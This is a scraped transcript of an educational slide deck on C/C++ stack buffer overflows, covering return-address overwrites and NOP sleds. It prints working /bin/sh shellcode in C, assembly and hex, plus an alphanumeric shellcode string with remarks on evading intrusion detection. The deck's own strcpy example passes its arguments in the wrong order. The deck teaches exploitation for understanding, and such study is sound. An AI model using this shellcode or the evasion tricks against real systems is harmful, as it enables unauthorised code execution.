Presentation is loading. Please wait.

Presentation is loading. Please wait.

Analyzing C/C++ Vulnerabilities -- Mike Gerschefske.

Similar presentations


Presentation on theme: "Analyzing C/C++ Vulnerabilities -- Mike Gerschefske."— Presentation transcript:

1 Analyzing C/C++ Vulnerabilities -- Mike Gerschefske

2 C/C++  Compiled into assembly  Have to understand the assembly level to understand problems and short falls with C  CS316 teaches us  C does not do range index checking

3 Memory  Analysis of the memory at the virtual level  Not what happens in actual hardware  Code segment read only  Data Segment  Initialized variables  BSS  Uninitialized variables  Heap  New/malloc variables Text (Code) Segment Data Segment Bss Segment Heap Stack x0000 xffff

4 Advanced C/C++  Example Application Public foo(char * parm) {  (callee of foo) char buffer[10]; strcpy(parm, buffer); } Public go() {  (caller of foo) foo(“hello world 1234567890”); … }  C allocates local variables from the stack, not the heap  Strcpy doesn’t check and copies too much to the buffer  This is a stack overflow, there are also heap overflows but they work a little differently buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes Caller Callee

5 Advanced C/C++  So what happens?  Usually just a segment fault  Why segment fault  Computer grabs RA and picks up execution there  RA is potentially (usually) in no mans land  What this means  We can control where the code picks up execution if our buffer overflow creates a meaningful RA buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes Public foo(char * parm) { char buffer[10]; strcpy(parm, buffer); } Public go() { foo(“hello world”); … }

6 Hypothetical Buffer  14 bytes  Anything  4 bytes RA  Point the RA to the code we want to run buffer Stack pointer Return address * Param Rest of Stack (Bottom) 10 bytes 4 bytes

7 Two problems  What code should we run?  Where is our code?  How do we get the RA correct? -- The RA has a huge address space, it could be anything???

8 Code to Run  Write custom ASM to do a specific task  Not feasible, ASM can be difficult to write and inject  Also, not reusable  Better solution – It’s called Shell Code  Goal: to execute a system call to open a shell  execve /bin/sh

9 Writing Shell Code  Code it in C and disassemble  Strings terminate with a \0  Must eliminate all nulls or shellcode wont copy to buffer #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes.string \"/bin/sh\" # 8 bytes "); } char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax

10 Code Execution  Where to store it?  Can sometimes put it in an environmental variable  Most of the time, try to stuff it in the buffer  If we setup an env var we can use a debugger to determine RA buffer Stack pointer Return address * Param Rest of Stack (Bottom) Env Variables Shell Code

11 Code Execution – Stuffing the Buffer  We have an idea where the buffer address is, but not sure exactly  Different code paths build different stacks  NOP Sled  Continual execution of No- Operations  Computer slides down into our shell code  If we hit anywhere in the nop sled, we win  Increased chance of getting close buffer Shell Code Nop Sled \x90

12 RA Problems  Getting the RA in the right variable  Repeat it, who cares if the stack is all messed up?  Alignment Issues – RA is 4 bytes  Typically guess, wont get offset wrong more then three times Return address Buffer … RA

13 Success  Successfully Guessed/Calculated RA  Successfully Aligned RA  Successfully Injected Code

14 Problems  As can tell, very difficult to do  Sending “/bin/sh” across any connection will be flagged – people look for this (IDS)

15 Cool Shell Code  ASCII Shell Code: "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0T“ "odjdY0LohfhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Do" "w0towjhXfRhnKshhBabivERSvT29";  Any field validated input (text box) that allows [a-z][0-9] would allow this shell code  No /bin/sh so tricks IDS  IDS do have above example; however, could modify enough so IDS couldn’t detect

16 References  Smashing the stack for Fun and Profit  Hacking – The Art of Exploitation – Jon Erickson


Download ppt "Analyzing C/C++ Vulnerabilities -- Mike Gerschefske."

Similar presentations


Ads by Google